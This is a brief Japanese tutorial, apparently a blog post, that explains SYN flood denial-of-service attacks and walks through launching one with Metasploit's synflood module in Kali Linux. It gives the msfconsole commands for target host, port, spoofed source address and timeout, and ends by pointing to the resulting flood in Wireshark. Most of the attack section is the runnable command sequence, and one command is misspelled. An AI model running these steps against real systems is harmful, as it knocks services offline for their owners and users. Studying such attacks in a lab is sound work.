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Metasplotを使用したSYNフラッド攻撃

 

Metasploitを使用したSYNフラッド攻撃について解説します。

 

SYNフラッド攻撃とは

 

標的のマシンに多量のSYNパケットを送りつけるDOS攻撃の一種です。

DOS攻撃についてはこちらで解説しています。

DoS攻撃とDDoSとDRDoS攻撃の違い

 

SYNフラッド攻撃を画像つきで解説

 

Kalilinuxでmsfconsoleを立ち上げます。

 

 

use auxiliary/dos/tcp/synflood 

を打ち込みます。

 

show optionsでオプションを確認できます。

 

 

オプションで確認したとおり以下を打ち込みます。

set RHOST 10.10.10.10 (ターゲットIPは環境に応じて変えてください)

ser RPORT  21 (ターゲット ポートは環境に応じて変えてください)

set SHOST 10.10.10.16

set TIMEOUT 20000

 

最後にexploitと打ち込みエンターを押して実行します。

 

 

ターゲットマシンでwiresharkを見てみると大量のSYNパケットが10.10.10.16から送られていることがわかります。

 

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